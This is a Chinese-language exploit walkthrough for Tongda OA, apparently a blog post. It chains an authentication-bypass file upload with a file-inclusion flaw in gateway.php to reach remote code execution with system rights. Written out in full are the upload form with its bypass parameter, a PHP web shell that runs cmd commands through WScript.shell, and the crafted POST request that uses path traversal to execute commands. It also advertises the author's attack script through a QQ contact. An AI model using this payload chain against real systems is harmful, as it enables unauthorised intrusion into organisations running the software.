一、環境搭建:
下載通達OA的安裝包,根據提示點擊下一步安裝即可,安裝完成,訪問本機ip即可
二、漏洞簡介:
可以繞過身份認證,,然后即可上傳任意文件,配合文件包含即可造成RCE遠程代碼執行漏洞
影響版本:
V11版、2017版、2016版、2015版、2013增強版、2013版
三、漏洞復現:
1、任意文件上傳漏洞位置:
/ispirit/im/upload.php
2、構造payload上傳文件:
①將以下內容保存為html:
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input> //用來繞過身份驗證 <input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
②將以下內容保存為shell.jpg:
<?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
③利用html文件上傳shell.jpg:

返回上傳shell.jpg后的文件名信息:
3、利用文件包含漏洞進行RCE:
文件包含漏洞位置:
/ispirit/interface/gateway.php
訪問漏洞頁面,並且把GET改成POST,並修改、構造數據包,注意Content-Type是要手動加上的:
POST /ispirit/interface/gateway.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=8phdj361a5d498n03tnqd7c104; KEY_RANDOMDATA=17743;PHPSESSID=8phdj361a5d498n03tnqd7c104; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 77 json={"url":"/general/../../attach/im/2006/209898972.shell.jpg"}&cmd=whoami
json中的值,根據返回的文件名進行構造,例如: 2006_209898972|shell.jpg,那么就是上面這樣構造
然后就可以進行RCE了,以系統權限執行任何命令
4、利用腳本進行攻擊(自己寫的,支持的功能:①直接執行命令、②文件包含生成webshell):
注意:腳本中的gateway.php文件的路徑根據OA版本進行修改,例如:
2013版本:/ispirit/interface/gateway.php 2017版本:/mac/gateway.php
腳本使用方法:
python3 TDoa_RCE 目標url -f 選擇的功能
生成webshell
腳本就不直接放在這了...需要的可以聯系我(QQ或者wx公眾號后台留言),注意:僅作為學習和討論使用,禁止任何違法行為,與作者無關!
QQ:1254311935